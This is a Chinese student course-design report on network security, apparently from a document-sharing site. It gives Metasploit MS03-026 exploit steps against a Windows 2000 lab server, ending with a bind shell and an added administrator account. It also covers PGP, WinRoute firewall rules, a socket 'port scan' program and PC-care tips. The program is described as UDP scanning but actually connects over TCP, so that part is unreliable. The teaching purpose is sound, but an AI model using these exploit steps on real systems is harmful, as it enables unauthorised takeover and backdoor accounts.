网络安全课程设计.docx
- 文档编号:25997643
- 上传时间:2023-06-17
- 格式:DOCX
- 页数:16
- 大小:521.88KB
网络安全课程设计.docx
《网络安全课程设计.docx》由会员分享,可在线阅读,更多相关《网络安全课程设计.docx(16页珍藏版)》请在冰豆网上搜索。
网络安全课程设计
一、目的
网络安全是网络工程专业核心专业课程,是理论与实践并重的课程。
本课程设计目的是在网络安全课程基础上,熟悉网络安全的架构方法,达到熟练分析网络隐患的技能,能够利用所学的基本知识和技能,解决常见的安全隐患,并设计出相对安全的网络系统规则。
要求学生运用所学的网络安全基本知识、基本原理和技能,根据需求完成网络环境的选择与配置,对网络攻防进行验证和设计,培养学生对网络安全技术的应用能力,增强网络安全意识。
二、需求分析
在本次课程设计中,要求能够利用metasploit攻击一台装有IIS5.0的WINDOWS2000服务器,获得其控制权,并且在其上面建立超级用户;使用PGP加密文件、加密邮件;利用WinRoute对你的主机设置禁用ping探测、禁用FTP访问及禁用HTTP访问;并且实现对端口的扫描。
三、总体设计
1)利用metasploit攻击一台装有IIS5.0的WINDOWS2000服务器,获得其控制权,并且在其上面建立超级用户,写出整个实施过程。
1、安装metasploit软件,安装完成后打开软件的控制台窗口
2、在窗口控制台界面输入命令“infoexploit/windows/dcerpc/ms03_026_dcom”以了解该命令的用法
3、输入命令“useexploit/windows/dcerpc/ms03_026_dcom”使用该程序
4、输入命令“setrhost目的主机ip地址”
5、输入命令“setPAYLOADgeneric/shell_bind_tcp”加载运行程序需要的shellcode
6、输入命令“exploit”执行
7、现在已经进入了目的主机的dos控制界面,输入命令“netuser用户名密码/add”添加用户
输入命令“netlocalgroup用户名/add”将用户添加到管理员组
2)使用PGP加密文件、加密邮件,写出详细的实施过程。
1、安装pgp软件,在安装中选中“NO,i’maNewUser”然后“next”至电脑重启
2、由于是第一次安装运行该软件,电脑重启后该软件会自动提示你建立PGP密钥
3、点击按钮“下一步”,在用户信息对话框中输入相应的姓名和电子邮件地址
4、在PGP密码输入框中输入8位以上的密码并确认,然后PGP会自动产生PGP密钥
5、使用PGP可以加密本地文件,右击要加密的文件,选择PGP菜单项的菜单“Encrypt”
6、系统自动出现对话框,让用户选择要使用的加密密钥,选中一个密钥,点击按钮“OK”
7、加密邮件:
打开outlook,利用Outlook建立邮件,可以选择利用PGP进行加密和签名
3)利用WinRoute对你的主机设置禁用ping探测、禁用FTP访问及禁用HTTP访问,写出详细的实施过程
1、安装winroute软件,安装完成后。
以管理员身份运行该软件,初始密码为空
2、该软件运行后,主机将不能上网,点击工具栏图标,出现本地网络设置对话框,然后查看“Ethernet”的属性,将两个复选框全部选中
3、开始创建规则:
选择菜单项“PacketFilter”,选中网卡,右击创建新规则,出现过滤规则添加对话框
4、因为“Ping”指令用的协议是ICMP,所以这里要对ICMP协议设置过滤规则。
在协议下拉列表中选择“ICMP”
5、在“ICMPType”栏目中,将复选框全部选中。
在“Action”栏目中,选择单选框“Drop”。
在“LogPacket”栏目中选中“LogintoWindow”,创建完毕后点击按钮“OK”,一条规则就创建完毕
6、在物理机上“ping”虚拟机后,再选择菜单栏“View”下的菜单项“Logs>SecurityLogs”,察看日志纪录
7、FTP服务用TCP协议,FTP占用TCP的21端口,配置如下:
8.HTTP服务用TCP协议,占用TCP协议的80端口,配置如下:
9、完成后在物理机用浏览器访问虚拟机,查看日志记录:
4)实现端口扫描的程序可以使用TCP协议和UDP协议,原理是通过Socket连接对方的计算机的某端口,试图和该端口建立连接,如果建立成功,就说明对方开放了该端口,如果失败了,就说明对方没有开放该端口,利用UDP协议实现端口扫描(写出程序代码)。
#include
#include
#include
#include
#defineBUFSIZE64
#defineWSVERSMAKEWORD(2,0)
#defineWINEPOCH2208988800
#defineMSG"Isthisportyouopen?
\n"
#defineMAX_PACKET1024
SOCKETconnectsock(constchar*host,constchar*service,
constchar*transport);
voiderrexit(constchar*,...);
intmain(intargc,char*argv[])
{
char*host="localhost";/*hosttouseifnonesupplied*/
char*service="5060";/*defaultservicename*/
SOCKETs;/*socketdescriptor*/
interrcnt=0;/*errorcount*/
WSADATAwsadata;
switch(argc){
case1:
break;
case3:
service=argv[2];
/*FALLTHROUGH*/
case2:
host=argv[1];
break;
default:
fprintf(stderr,"usage:
file1.exe[host[port]]\n");
exit
(1);
}
if(WSAStartup(WSVERS,&wsadata))
errexit("WSAStartupfailed\n");
s=connectsock(host,service,"tcp");;
(void)send(s,MSG,strlen(MSG),0);
closesocket(s);
WSACleanup();
return1;
}
#ifndefINADDR_NONE
#defineINADDR_NONE0xffffffff
#endif/*INADDR_NONE*/
/*------------------------------------------------------------------------
*connectsock-allocate&connectasocketusingTCPorUDP
*------------------------------------------------------------------------
*/
SOCKETconnectsock(constchar*host,constchar*service,constchar*transport)
{
structhostent*phe;/*pointertohostinformationentry*/
structservent*pse;/*pointertoserviceinformationentry*/
structprotoent*ppe;/*pointertoprotocolinformationentry*/
structsockaddr_insin;/*anInternetendpointaddress*/
ints,type;/*socketdescriptorandsockettype*/
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
/*Mapservicenametoportnumber*/
if(pse=getservbyname(service,transport))
sin.sin_port=pse->s_port;
elseif((sin.sin_port=htons((u_short)atoi(service)))==0)
errexit("can'tget\"%s\"serviceentry\n",service);
/*MaphostnametoIPaddress,allowingfordotteddecimal*/
if(phe=gethostbyname(host))
memcpy(&sin.sin_addr,phe->h_addr,phe->h_length);
elseif((sin.sin_addr.s_addr=inet_addr(host))==INADDR_NONE)
errexit("can'tget\"%s\"hostentry\n",host);
/*Mapprotocolnametoprotocolnumber*/
if((ppe=getprotobyname(transport))==0)
errexit("can'tget\"%s\"protocolentry\n",transport);
/*Useprotocoltochooseasockettype*/
if(strcmp(transport,"udp")==0)
type=SOCK_DGRAM;
else
type=SOCK_STREAM;
/*Allocateasocket*/
s=socket(PF_INET,type,ppe->p_proto);
if(s==INVALID_SOCKET)
errexit("can'tcreatesocket:
%d\n",GetLastError());
/*Connectthesocket*/
if(connect(s,(structsockaddr*)&sin,sizeof(sin))==
SOCKET_ERROR)
errexit("can'tconnectto%s.%s:
%d\n",host,service,
GetLastError());
returns;
}
voiderrexit(constchar*format,...)
{
va_listargs;
va_start(args,format);
vfprintf(stderr,format,args);
va_end(args);
WSACleanup();
exit
(1);
}
程序运行参数设置(在vc的project->settings菜单里的debug->programsarguments里设置):
第一次运行参数填:
自己虚拟机的IP地址
第二次运行参数填:
自己虚拟机的IP地址自己虚拟机的端口
5)如何保护自己的个人电脑,应该从几个方面做起。
硬件方面:
1.电脑应放置于整洁的房间内。
灰尘几乎会对电脑的所有配件造成不良影响,从而缩短其使用寿命或影响其性能。
2.电脑应摆放在宽敞的空间内,周围要保留散热空间,不要与其它杂物混放。
3.电脑周围严禁磁场。
磁场会对显示器、磁盘等造成严重影响。
音箱尽量不要置于显示器附近,不要将磁盘放置于音箱之上。
4.不要在电脑桌上放置茶杯,更不能将其置于主机、显示器、键盘之上,一旦水洒,后果严重。
5.电脑工作时不要搬动主机箱或使其受到冲击震动,对于硬盘来讲这是非常危险的动作。
6.硬盘读盘时不可以突然关机或断电。
如果电压不稳或经常停电,您可以购买UPS来应对。
7.环境干燥的情况下,应谨防静对电脑配件的影响。
此时您若需直接接触电路板,请首先对自身放电(例如用手摸摸水管等)或采取其它绝缘措施(如:
戴上接地手套)。
8.不要对各种配件或接口在开机的状态下插拔(支持热插拔的设备除外),否则,可能会造成烧毁相关芯片或电路板的严重后果。
9.应定期对电源、光驱、软驱、机箱内部、显示器、键盘、鼠标等进行除尘。
如果不便自行处理的话,可请专业人士来完成。
但您应该知道显示器内有高压电路,不可鲁莽行事。
10.不要用酒精或洗衣粉等擦拭显示器屏幕,如果有需要您可以用清水,但清水一定要吸附于纸巾或抹布之上,不可以让清水流进任何配件之内。
11.不要频繁地开关机,且开关机每次应间隔片刻时间。
12.机箱内不可以混入螺丝钉等导电体,否则极容易造成机箱内的板卡短路,产生严重后果。
13.应妥善保管电脑各种板卡及外设的驱动光盘及说明书,尤其是主板说明书。
14.不要连续长时间地使用光驱,如听歌、看影碟等。
您可以将歌碟、影碟等拷到硬盘上来欣赏。
15.电脑在长时间没有使用的情况下,建议您定期开机运行一下,以便驱除其内的潮气
软件方面
古语有云:
“知己知彼,百战不殆”
维护自己的电脑的安全也是一场战争,这个时候你对自己的电脑越熟悉,你胜利的机会就越大。
有的人电脑一年两年甚至更长时间系统都没有重装过,速度还是像原来一样快,一样的没有病毒的侵入。
有的人三两头就中毒,中毒后还不知道怎么去干掉他,这中间有什么区别呢?
其实我觉得并不是技术上的差别。
只是个人使用电脑的习惯不同。
1.对自己在自己的机器上安装有那些软件应该心中有数,当你打开“添加删除”列表的时候,对不是你安装上的软件一律干掉。
2.经常用“msconfig”看看你的机器自动运行了那些软件,这个常常是致使机器变慢的原因,有很多病毒特别是那些恶意软件,常常将自己放在这里,一般只需要留下“ctfmon”就可以了。
3.了解一下电脑一般的进程,知道那些进程属于那些软件的。
当电脑变慢时赶快看看进程列表里占用CPU或者内存比较大的进程,查查他是什么进程(一般都是病毒或者恶意软件的),如果是坏进程不仅仅是杀掉他,还要找出他的文件,找出他的注册表项全部干掉,注意:
干这些东西的时候首先要杀掉他的进程,如果还是干不了的话,进入安全模式干掉他。
4.熟悉一下自己的注册表项,这个难度比较大,而且搞不好会使自己的电脑无法正常运行了。
但是你大可以删掉那些你已经删掉的软件的注册表项,什么3721,Yahoo全部干掉。
5.经常看看你的浏览器的加载项,常常网上走,哪有不湿鞋。
特别上那些恶意网站,他往往会向你的浏览器安装一些插件,这些插件会在加载项这里显示出来,你可以关掉你不用的所有插件,插件后面有公司名称,一般我只信任微软和Macromedia等公司的,其余的特别中国公司的插件我全部“禁用”。
6.经常“BaiDu”,“Google”一下你不熟悉的在你电脑上安家的软件,进程这样日积月累,有一天你就能看一下别人的进程列表你就知道别人安装了什么软件,中了什么病毒。
7.经常去微软的自动更新网站看看,看看有没有对于你的系统的更新,一定要保持你的电脑最新,有人说自己的不是正版的,这个好说,网上可以找到补丁包。
8.常常来一下阳光雨露电脑板块,这里将会有很多热心的人为你解答你的问题。
总结
课程设计不仅是对已学知识的检验,更是对学生动手能力以及综合能力的锻炼。
在我的努力下,我完成了课程设计的任务。
在此期间,我们温故了课堂上学过的知识,还有查找各种资料,对这次课程设计的知识有了进一步的了解和掌握。
平常学习的知识点,感觉已掌握,但是通过这次课程设计对自己学过的知识的检阅,发现很多东西并不是想象的那么简单,做起来的时候还是会因为粗心大意导致课程设计中出现很多小的错误。
课程设计培养了自己的动手能力,对以前学习的知识起到了好的巩固作用,并且对以后课程学习打下了坚实的基础作用。
通过此次课程设计巩固了以前所学过的知识,而且学到了很多在书本上所没有学到过的知识。
通过这次课程设计我也明白了很多事理。
它使我懂得了理论与实际相结合是很重要的,只有理论知识是远远不够的,只有把所学的理论知识与实践相结合起来,从理论中得出结论,才能真正为社会服务,从而提高自己的实际动手能力和独立思考的能力。
五、参考资料
1.《计算机网络安全教程》石国志北京交通大学出版社
2.
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 网络安全 课程设计